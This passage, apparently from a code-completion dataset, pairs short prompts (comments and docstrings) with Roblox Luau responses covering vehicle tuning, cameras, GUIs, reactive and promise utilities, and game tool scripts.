		local cameraDot = curCameraDir:Dot(camera.CFrame.LookVector)
		if cameraDot > TP_FOLLOW_ANGLE_DOT and curCameraDist < TP_FOLLOW_DIST and not self.needsReset then -- vehicle in view
			-- keep old focus
			focus = self.lastCameraFocus

			-- new cf result
			local cameraFocusP = focus.p
			local cameraLookVector = self:GetCameraLookVector()
			cameraLookVector = Vector3.new(cameraLookVector.X, 0, cameraLookVector.Z).Unit
			local newLookVector = self:CalculateNewLookVectorFromArg(cameraLookVector, Vector2.new(0, 0))
			cf = CFrame.new(cameraFocusP - (zoom * newLookVector), cameraFocusP)
		else
			-- new focus / teleport
			self.currentSubjectDistance = DEFAULT_CAMERA_DIST
			self.lastCameraFocus = self:GetVRFocus(subjectCFrame.Position, dt)
			self.needsReset = false
			self:StartFadeFromBlack()
			self:ResetZoom()
		end

		self:UpdateEdgeBlur(localPlayer, dt)
	else
		-- first person in vehicle : lock orientation for stable camera
		local dir = Vector3.new(processedRotation.LookVector.X, 0, processedRotation.LookVector.Z).Unit
		local planarRotation = CFrame.new(processedRotation.Position, dir)

		-- this removes the pitch to reduce motion sickness
		focus =  CFrame.new(subjectCFrame * localOffset) * planarRotation
		cf = focus * CFrame.new(0, 0, zoom)

		self:StartVREdgeBlur(localPlayer)
	end

	return cf, focus
end

function VRVehicleCamera:EnterFirstPerson()
	self.inFirstPerson = true
	self:UpdateMouseBehavior()
end

function VRVehicleCamera:LeaveFirstPerson()
	self.inFirstPerson = false
	self:UpdateMouseBehavior()
end

return VRVehicleCamera


Prompt:
--[=[
	Defers the subscription and creation of the observable until the
	actual subscription of the observable.

	https://rxjs-dev.firebaseapp.com/api/index/function/defer
	https://netbasal.com/getting-to-know-the-defer-observable-in-rxjs-a16f092d8c09

	@param observableFactory () -> Observable<T>
	@return Observable<T>
]=]

Response:
function Rx.defer(observableFactory)
	return Observable.new(function(sub)
		local observable
		local ok, err = pcall(function()
			observable = observableFactory()
		end)

		if not ok then
			sub:Fail(err)
			return
		end

		if not Observable.isObservable(observable) then
			sub:Fail("Not an observable")
			return
		end

		return observable:Subscribe(sub:GetFireFailComplete())
	end)
end


Prompt: -- Get the current floor material.

Response:
local function getFloorMaterial()
	floorMaterial = humanoid.FloorMaterial
	material = string.split(tostring(floorMaterial), "Enum.Material.")[2]

	return material
end


Prompt: --[[Transmission]]

Response:
	Tune.TransModes		= {"Auto", "Semi"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
		>First mode is default mode													]]

	--Automatic Settings
	Tune.AutoShiftMode	= "RPM"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)


Prompt: --		child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player

Response:
		if child.Part1.Name == "HumanoidRootPart" then
			player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
			if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over.
				GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.
				GUI:Clone().Parent = player.PlayerGui --// Compact version
				if script.Parent.L.Value == true then --because you can't get in a locked car
					wait()
					script.Parent.Disabled = true
					wait()
					script.Parent.Disabled = false
				end
				script.Parent.Occupied.Value = true

				script.Parent.Parent.Body.Dash.dash.D.Transparency = 0
				script.Parent.CanStart.Value = true
				script.Parent.Parent.Body.Dash.Spd.Interface.Enabled = true
				script.Parent.Parent.Body.Dash.Tac.Interface.Enabled = true


Prompt:
--[=[
	Extracts the locale from the name

	@param name string -- The name to parse
	@return string -- The locale
]=]

Response:
function JsonToLocalizationTable.localeFromName(name)
	if name:sub(-5) == ".json" then
		return name:sub(1, #name-5)
	else
		return name
	end
end


Prompt:
-- Written By Kip Turner, Copyright Roblox 2014
-- Updated by Garnold to utilize the new PathfindingService API, 2017

Response:
local DEBUG_NAME = "ClickToMoveController"

local UIS = game:GetService("UserInputService")
local PathfindingService = game:GetService("PathfindingService")
local PlayerService = game:GetService("Players")
local RunService = game:GetService("RunService")
local DebrisService = game:GetService('Debris')
local ReplicatedStorage = game:GetService('ReplicatedStorage')
local tweenService = game:GetService("TweenService")

local Player = PlayerService.LocalPlayer
local PlayerScripts = Player.PlayerScripts

local CameraScript = script:FindFirstAncestor("CameraScript")
local InvisicamModule = nil
if CameraScript then
	InvisicamModule = require(CameraScript:WaitForChild("Invisicam"))
end

local MasterControlModule = script.Parent
local MasterControl = require(MasterControlModule)
local TouchJump = nil
if MasterControl then
	local TouchJumpModule = MasterControlModule:FindFirstChild("TouchJump")
	if TouchJumpModule then
		TouchJump = require(TouchJumpModule)
	end
end

local SHOW_PATH = true

local RayCastIgnoreList = workspace.FindPartOnRayWithIgnoreList

local math_min = math.min
local math_max = math.max
local math_pi = math.pi
local math_atan2 = math.atan2

local Vector3_new = Vector3.new
local Vector2_new = Vector2.new
local CFrame_new = CFrame.new

local CurrentSeatPart = nil
local DrivingTo = nil

local XZ_VECTOR3 = Vector3_new(1, 0, 1)
local ZERO_VECTOR3 = Vector3_new(0, 0, 0)
local ZERO_VECTOR2 = Vector2_new(0, 0)

local lastFailedPosition = nil

local BindableEvent_OnFailStateChanged = nil
if UIS.TouchEnabled then
	BindableEvent_OnFailStateChanged = MasterControl:GetClickToMoveFailStateChanged()
end


Prompt: --- Creates a listable type from a singlular type

Response:
function Util.MakeListableType(type, override)
	local listableType = {
		Listable = true,
		Transform = type.Transform,
		Validate = type.Validate,
		Autocomplete = type.Autocomplete,
		Default = type.Default,
		Parse = function(...)
			return {type.Parse(...)}
		end
	}

	if override then
		for key, value in pairs(override) do
			listableType[key] = value
		end
	end

	return listableType
end

local function encodeCommandEscape(text)
	return (text:gsub("\\%$", "___!CMDR_DOLLAR!___"))
end

local function decodeCommandEscape(text)
	return (text:gsub("___!CMDR_DOLLAR!___", "$"))
end

function Util.RunCommandString(dispatcher, commandString)
	commandString = Util.ParseEscapeSequences(commandString)
	commandString = Util.EncodeEscapedOperators(commandString)

	local commands = commandString:split("&&")

	local output = ""
	for i, command in ipairs(commands) do
		local outputEncoded = output:gsub("%$", "\\x24")
		command = command:gsub("||", output:find("%s") and ("%q"):format(outputEncoded) or outputEncoded)

		output = tostring(
			dispatcher:EvaluateAndRun(
				(
					Util.RunEmbeddedCommands(dispatcher, command)
				)
			)
		)

		if i == #commands then
			return output
		end
	end
end


Prompt:
--[[
	Calls any :finally handlers. We need this to be a separate method and
	queue because we must call all of the finally callbacks upon a success,
	failure, *and* cancellation.
]]

Response:
function Promise.prototype:_finalize()
	for _, callback in ipairs(self._queuedFinally) do
		-- Purposefully not passing values to callbacks here, as it could be the
		-- resolved values, or rejected errors. If the developer needs the values,
		-- they should use :andThen or :catch explicitly.
		callback(self._status)
	end

	-- Allow family to be buried
	self._parent = nil
	self._consumers = nil
end

return Promise


Prompt: -- / Functions / --

Response:
local function Control(key, inputState)
	if carSettings[key] then
		carSettings[key][1] = (inputState == Enum.UserInputState.Begin);
	end
end


Prompt: -- ROBLOX TODO: add generic type constraints <EachCallback extends Global.TestCallback>

Response:
function applyArguments<EachCallback>(
	supportsDone: boolean,
	params: Array<any>,
	test: Global_EachTestFn<EachCallback>
): Global_EachTestFn<any>
	local argumentCount
	if typeof(test) == "function" then
		argumentCount = debug.info(test, "a")
	else
		argumentCount = 0 -- ROBLOX CHECK: jest.fn()?
	end

	-- ROBLOX deviation START: add logic to unpack and convert NIL placeholders
	local replaceNilPlaceholders
	function replaceNilPlaceholders(val: any): any
		if val == NIL then
			return nil
		elseif Array.isArray(val) then
			return Array.map(val, function(item)
				return replaceNilPlaceholders(item)
			end)
		elseif typeof(val) == "table" then
			Array.forEach(Object.keys(val), function(key)
				val[key] = replaceNilPlaceholders(val[key])
			end)
			return val
		end

		return val
	end

	local unpackTable
	function unpackTable(obj: Array<any>, i_: number?, ...: any)
		local i = if i_ ~= nil then i_ else #obj
		if i == 0 then
			return ...
		end
		return unpackTable(obj, i - 1, replaceNilPlaceholders(obj[i]), ...)
	end
	-- ROBLOX deviation END

	return if supportsDone and #params < argumentCount
		then function(done: Global_DoneFn)
			return test(unpackTable(params), done)
		end
		else function()
			return test(unpackTable(params))
		end
end
return exports


Prompt: --[[Susupension]]

Response:
	Tune.SusEnabled		= true		-- Sets whether suspension is enabled for PGS

	--Front Suspension
	Tune.FSusStiffness	= 25000		-- Spring Force
	Tune.FSusDamping	= 400		-- Spring Dampening
	Tune.FAntiRoll 		= 400		-- Anti-Roll (Gyro Dampening)

	Tune.FSusLength		= 1.9		-- Resting Suspension length (in studs)
	Tune.FPreCompress	= .1		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= .4		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= .2		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 75		-- Suspension Angle (degrees from horizontal)

	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 2			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Rear Suspension
	Tune.RSusStiffness	= 20000		-- Spring Force
	Tune.RSusDamping	= 400		-- Spring Dampening
	Tune.RAntiRoll 		= 400		-- Anti-Roll (Gyro Dampening)

	Tune.RSusLength		= 2.1		-- Resting Suspension length (in studs)
	Tune.RPreCompress	= .1		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= .4		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= .2		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 2			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics (PGS ONLY)
	Tune.SusVisible		= true			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Dark stone grey"		-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 8				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness


Prompt: -- Local Functions

Response:
local function OnPlayerAdded(player)
	-- Setup leaderboard stats
	local leaderstats = Instance.new('Model', player)
	leaderstats.Name = 'leaderstats'

	local Captures = Instance.new('IntValue', leaderstats)
	Captures.Name = 'Captures'
	Captures.Value = 0

	-- Add player to team
	TeamManager:AssignPlayerToTeam(player)

	player.CharacterAdded:connect(function(character)
		character:WaitForChild('Humanoid').Died:connect(function()
			wait(Configurations.RESPAWN_TIME)
			if GameRunning then
				player:LoadCharacter()
			end
		end)
	end)

	-- Check if player should be spawned
	if PlayersCanSpawn then
		player:LoadCharacter()
	else
		DisplayManager:StartIntermission(player)
	end

end

local function OnPlayerRemoving(player)
	TeamManager:RemovePlayer(player)
end


Prompt:
--[=[
	Adds json to a localization table

	@param localizationTable LocalizationTable -- The localization table to add to
	@param localeId string -- The localeId to use
	@param json string -- The json to add with
	@param tableName string -- Used for source
]=]

Response:
function JsonToLocalizationTable.addJsonToTable(localizationTable, localeId, json, tableName)
	assert(type(tableName) == "string", "Bad tableName")

	local decodedTable = HttpService:JSONDecode(json)
	recurseAdd(localizationTable, localeId, "", decodedTable, tableName)
end

return JsonToLocalizationTable


Prompt: -- Gradually regenerates the Humanoid's Health over time.

Response:
local REGEN_RATE = 0.1/100 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = 0.05 -- Wait this long between each regeneration step.


Prompt: --Get in a seat

Response:
local function enterStart()
	--Tell server we're trying to get in
	GetInStart:FireServer(AdornedSeat)

	--Wait until player lets go of button (causing them to get in) or seat out of range (nothing happens)
	while EnterKeyDown and AdornedSeat do
		wait()
	end

	if AdornedSeat then
		--Tell server we are getting in seat
		Remotes.GetInSeat:FireServer(AdornedSeat)
		local n = 0
		repeat
			wait()
			n = n + 1
		until AdornedSeat == nil or n>20
		EnterImageButton.Visible = true

		local hum = getLocalHumanoid()
		if hum then
			if hum.Sit then
				-- load animations only when player is in the vehicle
				local hum = getLocalHumanoid()
				if hum ~= currentHumanoid then -- load only when we have a new humanoid
					currentHumanoid = hum
					local anims = animationFolder:GetChildren()
					for i = 1, #anims do
						AnimationTracks[anims[i].Name] = hum:LoadAnimation(anims[i])
					end
				end

				-- play seated animation
				local seat = hum.SeatPart
				local prefix = (seat.ClassName == "VehicleSeat" and "Driver" or "Passenger")
				local preferredAnimation = AnimationTracks[prefix.."_Seated"]
				if preferredAnimation then
					preferredAnimation.Priority = Enum.AnimationPriority.Action
					preferredAnimation:Play()
				end
			end
		end
	end
end


Prompt: -------- OMG HAX

Response:
r = game:service("RunService")

local damage = 0

local slash_damage = 0

local debounce = false
function blow(hit)
	local humanoid = hit.Parent:findFirstChild("Immortal")
	local vCharacter = script.Parent.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
	local hum = vCharacter:findFirstChild("Immortal") -- non-nil if tool held by a character
	if humanoid~=nil and humanoid ~= hum and hum ~= nil then
	-- final check, make sure sword is in-hand
		if debounce == false then
			debounce = true
			tagHumanoid(humanoid, vPlayer)
			zomghit = 0 + script.Parent.AddDam.Value
			humanoid:TakeDamage(zomghit)
			untagHumanoid(humanoid)
			wait(0.35)
			debounce = false
		end
	end
end
function tagHumanoid(humanoid, player)
	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = player
	creator_tag.Name = "creator"
	creator_tag.Parent = humanoid
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild("creator")
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end

function attack()
	damage = slash_damage

	local Slash1 = script.Parent.Handle.Slash1

	local Slash2 = script.Parent.Handle.Slash2

	Slashsounds={Slash1, Slash2}

	Whoosh=(Slashsounds[math.random(1,#Slashsounds)])
	Whoosh:play()
	local vCharacter = script.Parent.Parent
	local hum = vCharacter:findFirstChild("Immortal")

	Move1 = hum:LoadAnimation(script.Parent.Handle.LeftSlash)
	Move2 = hum:LoadAnimation(script.Parent.Handle.OverHeadSwing)
	Move3 = hum:LoadAnimation(script.Parent.Handle.RightSlash)

	MovesLikeJagger={Move1, Move2, Move3}
	IGotThem=(MovesLikeJagger[math.random(1,#MovesLikeJagger)])
	IGotThem:Play()
	--hum.WalkSpeed = 0
	wait(.1)
	Whoosh:play()
	wait(.1)
	--hum.WalkSpeed = 16
end

script.Parent.Enabled = true

function onActivated()

	if not script.Parent.Enabled then
		return
	end

	script.Parent.Enabled = false

	local character = script.Parent.Parent;
	local humanoid = character.Immortal
	if humanoid == nil then
		print("Humanoid not found")
		return
	end

	attack()

	wait(.1)

	script.Parent.Enabled = true
end

function onEquipped()
	--if Tool.Handle.LightsaberOn.isPlaying == false then
		script.Parent.Handle.LightsaberOn:play()
		script.Parent.Handle.IdleLoop:Play()
	--end
end

function onUnequipped()

	script.Parent.Handle.LightsaberOff:stop()
	script.Parent.Handle.IdleLoop:Stop()
end

script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
script.Parent.Unequipped:connect(onUnequipped)

connection = script.Parent.Handle.Touched:connect(blow)


Prompt: --Automatic Gauge Scaling

Response:
if autoscaling then
	local Drive={}
	if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
		if car.Wheels:FindFirstChild("FL")~= nil then
			table.insert(Drive,car.Wheels.FL)
		end
		if car.Wheels:FindFirstChild("FR")~= nil then
			table.insert(Drive,car.Wheels.FR)
		end
		if car.Wheels:FindFirstChild("F")~= nil then
			table.insert(Drive,car.Wheels.F)
		end
	end
	if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
		if car.Wheels:FindFirstChild("RL")~= nil then
			table.insert(Drive,car.Wheels.RL)
		end
		if car.Wheels:FindFirstChild("RR")~= nil then
			table.insert(Drive,car.Wheels.RR)
		end
		if car.Wheels:FindFirstChild("R")~= nil then
			table.insert(Drive,car.Wheels.R)
		end
	end

	local wDia = 0
	for i,v in pairs(Drive) do
		if v.Size.x>wDia then wDia = v.Size.x end
	end
	Drive = nil
	for i,v in pairs(UNITS) do
		v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
		v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
	end
end

for i=0,revEnd*2 do
	local ln = script.Parent.ln:clone()
	ln.Parent = script.Parent.Tach
	ln.Rotation = 45 + i * 225 / (revEnd*2)
	ln.Num.Text = i/2
	ln.Num.Rotation = -ln.Rotation
	if i*500>=math.floor(_pRPM/500)*500 then
		ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
		if i<revEnd*2 then
			ln2 = ln:clone()
			ln2.Parent = script.Parent.Tach
			ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
			ln2.Num:Destroy()
			ln2.Visible=true
		end
	end
	if i%2==0 then
		ln.Frame.Size = UDim2.new(0,3,0,10)
		ln.Frame.Position = UDim2.new(0,-1,0,100)
		ln.Num.Visible = true
	else
		ln.Num:Destroy()
	end
	ln.Visible=true
end

local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
	local ln = script.Parent.ln:clone()
	ln.Parent = lns
	ln.Rotation = 45 + 225*(i/90)
	if i%2==0 then
		ln.Frame.Size = UDim2.new(0,2,0,10)
		ln.Frame.Position = UDim2.new(0,-1,0,100)
	else
		ln.Frame.Size = UDim2.new(0,3,0,5)
	end
	ln.Num:Destroy()
	ln.Visible=true
end

for i,v in pairs(UNITS) do
	local lnn = Instance.new("Frame",script.Parent.Speedo)
	lnn.BackgroundTransparency = 1
	lnn.BorderSizePixel = 0
	lnn.Size = UDim2.new(0,0,0,0)
	lnn.Name = v.units
	if i~= 1 then lnn.Visible=false end

	for i=0,v.maxSpeed,v.spInc do
		local ln = script.Parent.ln:clone()
		ln.Parent = lnn
		ln.Rotation = 45 + 225*(i/v.maxSpeed)
		ln.Num.Text = i
		ln.Num.TextSize = 14
		ln.Num.Rotation = -ln.Rotation
		ln.Frame:Destroy()
		ln.Num.Visible=true
		ln.Visible=true
	end
end

if 	script.Parent.Parent.IsOn.Value then
	script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end

script.Parent.Parent.IsOn.Changed:connect(function()
	if script.Parent.Parent.IsOn.Value then
		script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
	end
end)

script.Parent.Parent.Values.RPM.Changed:connect(function()
	script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
	intach.Rotation = -30 + script.Parent.Parent.Values.RPM.Value * 240 / 8000
end)

script.Parent.Parent.Values.Gear.Changed:connect(function()
	local gearText = script.Parent.Parent.Values.Gear.Value
	if gearText == 0 then
		gearText = "N"
		car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = "N"
		car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = "N"
	elseif gearText == -1 then
		gearText = "R"
		car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = "R"
		car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = "R"
	end
	script.Parent.Gear.Text = gearText
	car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = gearText
	car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = gearText
end)

script.Parent.Parent.Values.TCS.Changed:connect(function()
	if _Tune.TCSEnabled then
		if script.Parent.Parent.Values.TCS.Value then
			script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
			script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
			if script.Parent.Parent.Values.TCSActive.Value then
				wait()
				script.Parent.TCS.Visible = not script.Parent.TCS.Visible
			else
				wait()
				script.Parent.TCS.Visible = false
			end
		else
			script.Parent.TCS.Visible = true
			script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
			script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
		end
	else
		script.Parent.TCS.Visible = false
	end
end)

script.Parent.Parent.Values.TCSActive.Changed:connect(function()
	if _Tune.TCSEnabled then
		if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = not script.Parent.TCS.Visible
		elseif not script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = true
		else
			wait()
			script.Parent.TCS.Visible = false
		end
	else
		script.Parent.TCS.Visible = false
	end
end)

script.Parent.TCS.Changed:connect(function()
	if _Tune.TCSEnabled then
		if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = not script.Parent.TCS.Visible
		elseif not script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = true
		end
	else
		if script.Parent.TCS.Visible then
			script.Parent.TCS.Visible = false
		end
	end
end)

script.Parent.Parent.Values.ABS.Changed:connect(function()
	if _Tune.ABSEnabled then
		if script.Parent.Parent.Values.ABS.Value then
			script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
			script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
			if script.Parent.Parent.Values.ABSActive.Value then
				wait()
				script.Parent.ABS.Visible = not script.Parent.ABS.Visible
			else
				wait()
				script.Parent.ABS.Visible = false
			end
		else
			script.Parent.ABS.Visible = true
			script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
			script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
		end
	else
		script.Parent.ABS.Visible = false
	end
end)

script.Parent.Parent.Values.ABSActive.Changed:connect(function()
	if _Tune.ABSEnabled then
		if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = not script.Parent.ABS.Visible
		elseif not script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = true
		else
			wait()
			script.Parent.ABS.Visible = false
		end
	else
		script.Parent.ABS.Visible = false
	end
end)

script.Parent.ABS.Changed:connect(function()
	if _Tune.ABSEnabled then
		if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = not script.Parent.ABS.Visible
		elseif not script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = true
		end
	else
		if script.Parent.ABS.Visible then
			script.Parent.ABS.Visible = false
		end
	end
end)

script.Parent.Parent.Values.PBrake.Changed:connect(function()
	script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end)

script.Parent.Parent.Values.TransmissionMode.Changed:connect(function()
	if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
		script.Parent.TMode.Text = "A/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
	elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
		script.Parent.TMode.Text = "S/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
	else
		script.Parent.TMode.Text = "M/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
	end
end)

script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
	script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
	script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
	inspd.Rotation = -30 + (240 / 160) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88))))
end)
while wait(.1) do

	local gas = car.DriveSeat.Gas.Value
	script.Parent.Fuel.Text = math.floor(gas) .."% Diesel"

end

script.Parent.Speed.MouseButton1Click:connect(function()
	if currentUnits==#UNITS then
		currentUnits = 1
	else
		currentUnits = currentUnits+1
	end
	for i,v in pairs(script.Parent.Speedo:GetChildren()) do
		v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
	end
	script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)


Prompt: ----- cold tap handler -----

Response:
coldTap.Interactive.ClickDetector.MouseClick:Connect(function()
	if coldOn.Value == false then
		coldOn.Value = true
		faucet.ParticleEmitter.Enabled = true
		waterSound:Play()
		coldTap:SetPrimaryPartCFrame(coldTap.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(-45), 0))
	else
		coldOn.Value = false
		if hotOn.Value == false then
			faucet.ParticleEmitter.Enabled = false
			waterSound:Stop()
		end
		coldTap:SetPrimaryPartCFrame(coldTap.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(45), 0))
	end
end)


Prompt:
--[[
	Packs an array of numbers into a given animatable data type.
	If the type is not animatable, nil will be returned.

	FUTURE: When Luau supports singleton types, those could be used in
	conjunction with intersection types to make this function fully statically
	type checkable.
]]

Response:
local Oklab = require(script.Parent.Parent.Parent.Colour.Oklab)

local function packType(numbers: {number}, typeString: string)
	if typeString == "number" then
		return numbers[1]

	elseif typeString == "CFrame" then
		return
			CFrame.new(numbers[1], numbers[2], numbers[3]) *
			CFrame.fromAxisAngle(
				Vector3.new(numbers[4], numbers[5], numbers[6]).Unit,
				numbers[7]
			)

	elseif typeString == "Color3" then
		return Oklab.from(
			Vector3.new(numbers[1], numbers[2], numbers[3]),
			false
		)

	elseif typeString == "ColorSequenceKeypoint" then
		return ColorSequenceKeypoint.new(
			numbers[4],
			Oklab.from(
				Vector3.new(numbers[1], numbers[2], numbers[3]),
				false
			)
		)

	elseif typeString == "DateTime" then
		return DateTime.fromUnixTimestampMillis(numbers[1])

	elseif typeString == "NumberRange" then
		return NumberRange.new(numbers[1], numbers[2])

	elseif typeString == "NumberSequenceKeypoint" then
		return NumberSequenceKeypoint.new(numbers[2], numbers[1], numbers[3])

	elseif typeString == "PhysicalProperties" then
		return PhysicalProperties.new(numbers[1], numbers[2], numbers[3], numbers[4], numbers[5])

	elseif typeString == "Ray" then
		return Ray.new(
			Vector3.new(numbers[1], numbers[2], numbers[3]),
			Vector3.new(numbers[4], numbers[5], numbers[6])
		)

	elseif typeString == "Rect" then
		return Rect.new(numbers[1], numbers[2], numbers[3], numbers[4])

	elseif typeString == "Region3" then
		-- FUTURE: support rotated Region3s if/when they become constructable
		local position = Vector3.new(numbers[1], numbers[2], numbers[3])
		local halfSize = Vector3.new(numbers[4] / 2, numbers[5] / 2, numbers[6] / 2)
		return Region3.new(position - halfSize, position + halfSize)

	elseif typeString == "Region3int16" then
		return Region3int16.new(
			Vector3int16.new(numbers[1], numbers[2], numbers[3]),
			Vector3int16.new(numbers[4], numbers[5], numbers[6])
		)

	elseif typeString == "UDim" then
		return UDim.new(numbers[1], numbers[2])

	elseif typeString == "UDim2" then
		return UDim2.new(numbers[1], numbers[2], numbers[3], numbers[4])

	elseif typeString == "Vector2" then
		return Vector2.new(numbers[1], numbers[2])

	elseif typeString == "Vector2int16" then
		return Vector2int16.new(numbers[1], numbers[2])

	elseif typeString == "Vector3" then
		return Vector3.new(numbers[1], numbers[2], numbers[3])

	elseif typeString == "Vector3int16" then
		return Vector3int16.new(numbers[1], numbers[2], numbers[3])
	else
		return nil
	end
end

return packType


Prompt:
-- return nil
-- end

Response:
local function isObject(item: any): boolean
	return item and typeof(item) == "table" and not Array.isArray(item)
end

local function testNameToKey(testName: ConfigPath, count: number): string
	return testName .. " " .. count
end

local function keyToTestName(key: string): string
	if not key:match(" %d+$") then
		error(Error("Snapshot keys must end with a number."))
	end

	return key:gsub(" %d+$", "")
end

local function getSnapshotData(
	snapshotPath: ConfigPath,
	update: ConfigSnapshotUpdateState
): { data: SnapshotData, dirty: boolean }
	local data = {}
	local dirty = false

	-- ROBLOX deviation: snapshots in Jest Roblox are ModuleScripts, so we require them to load them
	pcall(function()
		data = require(snapshotPath) :: any
	end)
	-- ROBLOX deviation: omitted validateSnapshotVersion for now since we will have our own
	-- snapshot versioning
	-- local validationResult = validateSnapshotVersion(data)
	local isInvalid = false -- data and validationResult

	-- if update == "none" and isInvalid then
	-- 	error(validationResult)
	-- end

	if (update == "all" or update == "new") and isInvalid then
		dirty = true
	end

	return {
		data = data,
		dirty = dirty,
	}
end


Prompt: --[[Brakes]]

Response:
	Tune.ABSEnabled		= true		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS)

